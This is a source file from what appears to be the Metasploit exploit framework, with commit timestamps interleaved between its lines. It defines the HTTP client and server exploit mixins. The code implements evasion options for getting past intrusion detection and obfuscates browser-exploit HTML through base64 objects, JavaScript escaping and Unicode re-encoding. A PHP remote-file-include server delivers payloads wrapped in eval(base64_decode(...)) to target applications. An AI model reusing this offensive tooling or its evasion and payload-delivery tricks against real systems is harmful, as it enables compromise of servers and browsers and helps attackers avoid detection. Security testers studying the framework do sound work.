2005-09-22 03:24:32 +00:00
require 'rex/service_manager'
module Msf
###
#
# This module provides methods for acting as an HTTP client when
# exploiting an HTTP server.
#
###
module Exploit::Remote::HttpClient
2005-11-15 15:11:43 +00:00
#
# Initializes an exploit module that exploits a vulnerability in an HTTP
# server.
#
2005-09-22 03:24:32 +00:00
def initialize ( info = { } )
super
register_options (
[
Opt :: RHOST ,
2005-12-14 00:21:23 +00:00
Opt :: RPORT ( 80 ) ,
2006-01-27 22:02:35 +00:00
OptString . new ( 'VHOST' , [ false , " HTTP server virtual host " ] ) ,
Opt :: SSL ,
2006-12-19 07:11:55 +00:00
] , self . class
2006-01-27 22:02:35 +00:00
)
2006-12-19 07:11:55 +00:00
register_advanced_options (
[
OptString . new ( 'UserAgent' , [ false , 'The User-Agent header to use for all requests' ] )
] , self . class
)
2006-01-27 22:02:35 +00:00
register_evasion_options (
[
2007-02-27 09:15:53 +00:00
OptEnum . new ( 'HTTP::uri_encode' , [ false , 'Enable URI encoding' , 'hex-normal' , [ 'none' , 'hex-normal' , 'hex-all' , 'hex-random' , 'u-normal' , 'u-all' , 'u-random' ] ] ) ,
OptBool . new ( 'HTTP::uri_full_url' , [ false , 'Use the full URL for all HTTP requests' , false ] ) ,
OptInt . new ( 'HTTP::pad_method_uri_count' , [ false , 'How many whitespace characters to use between the method and uri' , 1 ] ) ,
OptInt . new ( 'HTTP::pad_uri_version_count' , [ false , 'How many whitespace characters to use between the uri and version' , 1 ] ) ,
OptEnum . new ( 'HTTP::pad_method_uri_type' , [ false , 'What type of whitespace to use between the method and uri' , 'space' , [ 'space' , 'tab' , 'apache' ] ] ) ,
OptEnum . new ( 'HTTP::pad_uri_version_type' , [ false , 'What type of whitespace to use between the uri and version' , 'space' , [ 'space' , 'tab' , 'apache' ] ] ) ,
OptBool . new ( 'HTTP::method_random_valid' , [ false , 'Use a random, but valid, HTTP method for request' , false ] ) ,
OptBool . new ( 'HTTP::method_random_invalid' , [ false , 'Use a random invalid, HTTP method for request' , false ] ) ,
OptBool . new ( 'HTTP::method_random_case' , [ false , 'Use random casing for the HTTP method' , false ] ) ,
OptBool . new ( 'HTTP::uri_dir_self_reference' , [ false , 'Insert self-referential directories into the uri' , false ] ) ,
OptBool . new ( 'HTTP::uri_dir_fake_relative' , [ false , 'Insert fake relative directories into the uri' , false ] ) ,
OptBool . new ( 'HTTP::uri_use_backslaces' , [ false , 'Use back slashes instead of forward slashes in the uri ' , false ] ) ,
OptBool . new ( 'HTTP::pad_fake_headers' , [ false , 'Insert random, fake headers into the HTTP request' , false ] ) ,
OptInt . new ( 'HTTP::pad_fake_headers_count' , [ false , 'How many fake headers to insert into the HTTP request' , 0 ] )
2006-12-19 07:11:55 +00:00
#
2007-02-27 09:15:53 +00:00
# Remaining evasions to implement
2006-12-19 07:11:55 +00:00
#
2007-02-27 09:15:53 +00:00
2006-12-19 07:11:55 +00:00
# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']),
# OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
# OptBool.new('HTTP::junk_directories', [false, 'Enable insertion of random junk directories in the URI', 'false']),
# OptBool.new('HTTP::junk_params', [false, 'Enable insertion of random junk parameters', 'false']),
# OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]),
# OptBool.new('HTTP::fake_uri_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', 'false']),
# OptBool.new('HTTP::fake_param_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', 'false']),
] , self . class
2006-01-27 22:02:35 +00:00
)
2005-09-22 03:24:32 +00:00
end
#
# Connects to an HTTP server.
#
2005-12-14 00:21:23 +00:00
def connect ( opts = { } )
2005-09-22 03:24:32 +00:00
nclient = Rex :: Proto :: Http :: Client . new (
2006-08-13 18:03:28 +00:00
rhost ,
rport . to_i ,
2006-01-17 04:35:44 +00:00
{
'Msf' = > framework ,
'MsfExploit' = > self ,
2006-01-27 22:02:35 +00:00
} ,
2006-08-13 18:03:28 +00:00
ssl
2006-01-17 04:35:44 +00:00
)
2005-09-22 03:24:32 +00:00
# Configure the HTTP client with the supplied parameter
2006-12-19 07:11:55 +00:00
nclient . set_config (
2006-12-28 23:42:54 +00:00
'vhost' = > self . vhost ( ) ,
2006-12-19 07:11:55 +00:00
'uri_encode_mode' = > datastore [ 'HTTP::uri_encode' ] ,
'agent' = > datastore [ 'UserAgent' ]
)
2005-09-22 03:24:32 +00:00
# If this connection is global, persist it
if ( opts [ 'global' ] )
if ( self . client )
disconnect
end
self . client = nclient
end
return nclient
end
#
# Passes the client connection down to the handler to see if it's of any
# use.
#
def handler ( nsock = nil )
# If no socket was provided, try the global one.
if ( ( ! nsock ) and
( self . client ) )
nsock = self . client . conn
end
# If the parent claims the socket associated with the HTTP client, then
# we rip the socket out from under the HTTP client.
if ( ( ( rv = super ( nsock ) ) == Handler :: Claimed ) and
( self . client ) and
( nsock == self . client . conn ) )
self . client . conn = nil
end
rv
end
#
# Disconnects the HTTP client
#
def disconnect ( nclient = self . client )
if ( nclient )
nclient . close
end
if ( nclient == self . client )
self . client = nil
end
end
#
# Performs cleanup as necessary, disconnecting the HTTP client if it's
# still established.
#
def cleanup
super
disconnect
end
2005-12-25 22:47:38 +00:00
#
# Connects to the server, creates a request, sends the request, reads the response
#
2006-12-19 07:11:55 +00:00
def send_request_raw ( opts = { } , timeout = - 1 )
2006-02-06 20:22:47 +00:00
c = connect ( opts )
2006-12-19 07:11:55 +00:00
r = c . request_raw ( opts )
c . send_recv ( r , opts [ :timeout ] ? opts [ :timeout ] : timeout )
2005-12-25 22:47:38 +00:00
end
2006-12-19 07:11:55 +00:00
#
# Connects to the server, creates a request, sends the request, reads the response
#
def send_request_cgi ( opts = { } , timeout = - 1 )
c = connect ( opts )
r = c . request_cgi ( opts )
c . send_recv ( r , opts [ :timeout ] ? opts [ :timeout ] : timeout )
end
2005-09-22 03:24:32 +00:00
##
#
# Wrappers for getters
#
##
#
# Returns the target host
#
def rhost
datastore [ 'RHOST' ]
end
#
# Returns the remote port
#
def rport
datastore [ 'RPORT' ]
end
#
# Returns the VHOST of the HTTP server.
#
def vhost
2006-10-11 08:31:54 +00:00
datastore [ 'VHOST' ] || datastore [ 'RHOST' ]
2005-09-22 03:24:32 +00:00
end
2006-08-13 18:03:28 +00:00
#
# Returns the boolean indicating SSL
#
def ssl
datastore [ 'SSL' ]
end
2005-09-22 03:24:32 +00:00
protected
attr_accessor :client
end
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer
include Msf :: Exploit :: Remote :: TcpServer
protected
2006-01-02 07:49:52 +00:00
def initialize ( info = { } )
super
register_options (
[
OptString . new ( 'URIPATH' , [ false , " The URI to use for this exploit (default is random) " ] ) ,
2006-01-05 22:20:28 +00:00
] , Exploit :: Remote :: HttpServer
2006-01-27 22:02:35 +00:00
)
2006-01-05 22:20:28 +00:00
2006-01-27 22:02:35 +00:00
register_evasion_options (
[
OptBool . new ( 'HTTP::chunked' , [ false , 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"' , 'false' ] ) ,
OptBool . new ( 'HTTP::header_folding' , [ false , 'Enable folding of HTTP headers' , 'false' ] ) ,
OptBool . new ( 'HTTP::junk_headers' , [ false , 'Enable insertion of random junk HTTP headers' , 'false' ] ) ,
OptEnum . new ( 'HTTP::compression' , [ false , 'Enable compression of HTTP responses via content encoding' , 'none' , [ 'none' , 'gzip' , 'deflate' ] ] ) ,
] , Exploit :: Remote :: HttpServer
)
2006-01-05 22:20:28 +00:00
2006-01-02 07:49:52 +00:00
end
2006-01-03 04:24:03 +00:00
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
2006-01-27 22:02:35 +00:00
def use_zlib
if ( ! Rex :: Text . zlib_present? and datastore [ 'HTTP::compression' ] == true )
raise RuntimeError , " zlib support was not detected, yet the HTTP::compression option was set. Don't do that! "
2006-01-03 04:24:03 +00:00
end
end
#
# This method gives a derived class the opportunity to ensure that all
# dependencies are present before initializing the service.
#
def check_dependencies
end
2006-01-02 07:49:52 +00:00
2005-09-22 03:24:32 +00:00
#
# This mixin starts the HTTP server listener. This routine takes a few
# different hash parameters:
#
# ServerHost => Override the server host to listen on (default to SRVHOST).
# ServerPort => Override the server port to listen on (default to SRVPORT).
# Uri => The URI to handle and the associated procedure to call.
#
def start_service ( opts = { } )
2006-01-03 04:24:03 +00:00
check_dependencies
2005-09-22 03:24:32 +00:00
# Default the server host and port to what is required by the mixin.
opts = {
'ServerHost' = > datastore [ 'SRVHOST' ] ,
'ServerPort' = > datastore [ 'SRVPORT' ] ,
} . update ( opts )
# Start the HTTP server service.
2006-01-17 04:35:44 +00:00
self . service = Rex :: ServiceManager . start (
Rex :: Proto :: Http :: Server ,
opts [ 'ServerPort' ] . to_i ,
opts [ 'ServerHost' ] ,
{
'Msf' = > framework ,
'MsfExploit' = > self ,
}
)
2005-09-22 03:24:32 +00:00
2006-01-27 05:33:08 +00:00
self . service . server_name = 'Apache'
2006-01-05 22:20:28 +00:00
2005-09-22 03:24:32 +00:00
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' = > Proc . new { | cli , req |
2006-02-03 19:56:50 +00:00
evasions ( cli )
2005-09-23 05:51:09 +00:00
on_request_uri ( cli , req )
2005-09-22 03:24:32 +00:00
} ,
2006-01-02 07:49:52 +00:00
'Path' = > resource_uri
2005-09-22 03:24:32 +00:00
} . update ( opts [ 'Uri' ] || { } )
2005-09-23 05:51:09 +00:00
print_status ( " Using URL: http:// #{ opts [ 'ServerHost' ] } : #{ opts [ 'ServerPort' ] } #{ uopts [ 'Path' ] } " )
2005-09-22 03:24:32 +00:00
add_resource ( uopts )
end
#
# Adds a URI resource using the supplied hash parameters.
#
# Path => The path to associate the procedure with.
# Proc => The procedure to call when the URI is requested.
# LongCall => Indicates that the request is a long call.
#
def add_resource ( opts )
2006-01-02 07:49:52 +00:00
@service_path = opts [ 'Path' ]
2005-09-22 03:24:32 +00:00
service . add_resource ( opts [ 'Path' ] , opts )
end
2006-01-02 07:49:52 +00:00
#
# Returns the last-used resource path
#
def get_resource
@service_path
end
2005-09-22 03:24:32 +00:00
#
# Removes a URI resource.
#
def remove_resource ( name )
service . remove_resource ( name )
end
#
# Closes a client connection.
#
def close_client ( cli )
service . close_client ( cli )
end
#
# Creates an HTTP response packet.
#
def create_response ( code = 200 , message = " OK " ,
proto = Rex :: Proto :: Http :: DefaultProtocol )
return Rex :: Proto :: Http :: Response . new ( code , message , proto ) ;
end
2006-01-03 04:24:03 +00:00
2006-01-27 22:02:35 +00:00
#
# Transmits a response to the supplied client, default content-type is text/html
#
# Payload evasions are implemented here!
#
def send_response ( cli , body , headers = { } )
response = create_response
2006-01-02 07:49:52 +00:00
response [ 'Content-Type' ] = 'text/html'
2006-01-27 22:02:35 +00:00
response . body = body
if ( datastore [ 'HTTP::compression' ] )
self . use_zlib # make sure...
response . compress = datastore [ 'HTTP::compression' ]
end
if ( datastore [ 'HTTP::chunked' ] == true )
response . auto_cl = false
response . transfer_chunked = true
end
if ( datastore [ 'HTTP::header_folding' ] == true )
response . headers . fold = 1
end
if ( datastore [ 'HTTP::junk_headers' ] == true )
response . headers . junk_headers = 1
end
2006-01-05 22:20:28 +00:00
2006-01-02 07:49:52 +00:00
headers . each_pair { | k , v | response [ k ] = v }
cli . send_response ( response )
2006-01-27 22:02:35 +00:00
end
2006-01-02 07:49:52 +00:00
#
# Sends a 302 redirect to the client
#
def send_redirect ( cli , location = '/' , body = '' )
response = create_response ( 302 , 'Moved' )
response [ 'Content-Type' ] = 'text/html'
response [ 'Location' ] = location
response . body = body
cli . send_response ( response )
end
#
# Sends a 302 redirect relative to our base path
#
def send_local_redirect ( cli , location )
send_redirect ( cli , get_resource + location )
end
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore [ 'URIPATH' ] || random_uri
path = '/' + path if path !~ / ^ \/ /
return path
end
2005-09-25 19:47:48 +00:00
2005-09-22 03:24:32 +00:00
#
# Generates a random URI for use with making finger printing more
# challenging.
#
def random_uri
2006-12-17 07:57:51 +00:00
" / " + Rex :: Text . rand_text_alphanumeric ( rand ( 10 ) + 6 )
2005-09-22 03:24:32 +00:00
end
2005-09-24 19:47:56 +00:00
#
# Re-generates the payload, substituting the current RHOST and RPORT with
# the supplied client host and port.
#
2005-09-24 19:37:27 +00:00
def regenerate_payload ( cli )
# Update the datastore with the supplied client peerhost/peerport
datastore [ 'RHOST' ] = cli . peerhost
datastore [ 'RPORT' ] = cli . peerport
# If the payload fails to generate for some reason, send a 403.
if ( ( p = super ( ) ) == nil )
print_error ( " Failed to generate payload, sending 403. " )
cli . send_response (
create_response ( 403 , 'Forbidden' ) )
return nil
end
2007-01-18 03:51:15 +00:00
# Allow the payload to start a new handler
add_handler ( {
'RHOST' = > datastore [ 'RHOST' ] ,
'RPORT' = > datastore [ 'RPORT' ]
} )
2005-09-24 19:37:27 +00:00
p
end
2005-09-22 03:24:32 +00:00
##
#
# Override methods
#
##
#
# Called when a request is made to a single URI registered during the
# start_service. Subsequent registrations will not result in a call to
# on_request_uri.
#
def on_request_uri ( cli , request )
end
end
2006-01-27 22:02:35 +00:00
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
2006-12-10 02:55:25 +00:00
module Exploit::Remote::HttpServer::HTML
2006-01-27 22:02:35 +00:00
include Msf :: Exploit :: Remote :: HttpServer
protected
def initialize ( info = { } )
super
register_evasion_options (
[
2006-02-19 03:58:18 +00:00
# utf-8, utf-7 and utf-7-all are currently not supported by
# most browsers. as such, they are not added by default. The
# mixin supports encoding using them, however they are not
# listed in the Option.
2006-02-10 17:29:37 +00:00
OptEnum . new ( 'HTML::unicode' , [ false , 'Enable HTTP obfuscation via unicode' , 'none' , [ 'none' , 'utf-16le' , 'utf-16be' , 'utf-16be-marker' , 'utf-32le' , 'utf-32be' ] ] ) ,
2006-02-10 15:45:37 +00:00
OptEnum . new ( 'HTML::base64' , [ false , 'Enable HTML obfuscation via an embeded base64 html object' , 'none' , [ 'none' , 'plain' , 'single_pad' , 'double_pad' , 'random_space_injection' ] ] ) ,
2006-01-27 22:02:35 +00:00
OptInt . new ( 'HTML::javascript::escape' , [ false , 'Enable HTML obfuscation via HTML escaping (number of iterations)' , 0 ] ) ,
2006-12-10 03:11:48 +00:00
] , Exploit :: Remote :: HttpServer :: HTML
2006-01-27 22:02:35 +00:00
)
end
# Transmits a html response to the supplied client
#
# HTML evasions are implemented here.
2006-12-10 03:26:53 +00:00
def send_response_html ( cli , body , headers = { } )
2006-02-10 15:45:37 +00:00
if datastore [ 'HTML::base64' ] != 'none'
case datastore [ 'HTML::base64' ]
when 'plain'
body = Rex :: Text . encode_base64 ( body )
when 'single_pad'
body = Rex :: Text . encode_base64 ( ' ' + body )
when 'double_pad'
body = Rex :: Text . encode_base64 ( ' ' + body )
when 'random_space_injection'
body = Rex :: Text . encode_base64 ( body )
new = ''
while ( body . size > 0 )
new += body . slice! ( 0 , rand ( 3 ) + 1 ) + Rex :: Text . rand_text ( rand ( 5 ) + 1 , '' , " \n " )
end
body = new
end
2006-01-27 22:02:35 +00:00
2006-02-10 15:45:37 +00:00
body = '<HTML><BODY><OBJECT ID="' + Rex :: Text . rand_text_alpha ( rand ( 10 ) + 5 ) + '" ' +
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
body + '">Could not render object</OBJECT></BODY></HTML>'
2006-01-27 22:02:35 +00:00
end
if datastore [ 'HTML::javascript::escape' ] > 0
datastore [ 'HTML::javascript::escape' ] . times {
body = '<script>document.write(unescape("' + Rex :: Text . to_hex ( body , '%' ) + '"))</script>'
}
end
2006-02-19 03:58:18 +00:00
if [ 'utf-16le' , 'utf-16be' , 'utf32-le' , 'utf32-be' , 'utf-7' , 'utf-8' ] . include? ( datastore [ 'HTML::unicode' ] )
headers [ 'Content-Type' ] = 'text/html; charset: ' + datastore [ 'HTML::unicode' ]
body = Rex :: Text . to_unicode ( body , datastore [ 'HTML::unicode' ] )
else
# special cases
case datastore [ 'HTML::unicode' ]
when 'utf-16be-marker'
headers [ 'Content-Type' ] = 'text/html'
body = " \xFE \xFF " + Rex :: Text . to_unicode ( body , 'utf-16be' )
when 'utf-7-all'
headers [ 'Content-Type' ] = 'text/html; charset: utf-7'
body = Rex :: Text . to_unicode ( body , 'utf-7' , 'all' )
when 'none'
# do nothing
else
raise RuntimeError , 'Invalid unicode. how did you get here?'
end
2006-01-27 22:02:35 +00:00
end
2006-12-17 02:34:27 +00:00
send_response ( cli , body , headers )
2006-01-27 22:02:35 +00:00
end
end
2006-12-17 07:57:51 +00:00
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::PHPInclude
include Msf :: Exploit :: Remote :: HttpServer
def initialize ( info = { } )
# Override TCPServer's stance of passive
super ( update_info ( info , 'Stance' = > Msf :: Exploit :: Stance :: Aggressive ) )
register_evasion_options (
[
OptEnum . new ( 'PHP::Encode' , [ false , 'Enable PHP code obfuscation' , 'none' , [ 'none' , 'base64' ] ] ) ,
] , Exploit :: Remote :: HttpServer :: PHPInclude
)
end
#
# Override exploit() to handle service start/stop
#
def exploit
start_service
print_status ( " PHP include server started. " ) ;
php_exploit
select ( nil , nil , nil , 5 )
stop_service
end
#
# Transmits a PHP payload to the web application
#
def send_php_payload ( cli , body , headers = { } )
case datastore [ 'PHP::Encode' ]
when 'base64'
body = " <?php eval(base64_decode(' #{ Rex :: Text . encode_base64 ( body ) } '));?> "
when 'none'
2007-01-05 03:31:18 +00:00
body = " <?php #{ body } ?> "
2006-12-17 07:57:51 +00:00
end
send_response ( cli , body , headers )
end
#
# Handle an incoming PHP code request
#
def on_request_uri ( cli , request , headers = { } )
# Re-generate the payload
return if ( ( p = regenerate_payload ( cli ) ) == nil )
# Send it to the application
send_php_payload ( cli , p . encoded , headers )
end
#
# Return the PHP include URL (pre-encoded)
#
def php_include_url
" http:// #{ datastore [ 'SRVHOST' ] } : #{ datastore [ 'SRVPORT' ] } #{ get_resource ( ) } "
end
end
2005-09-22 03:24:32 +00:00
end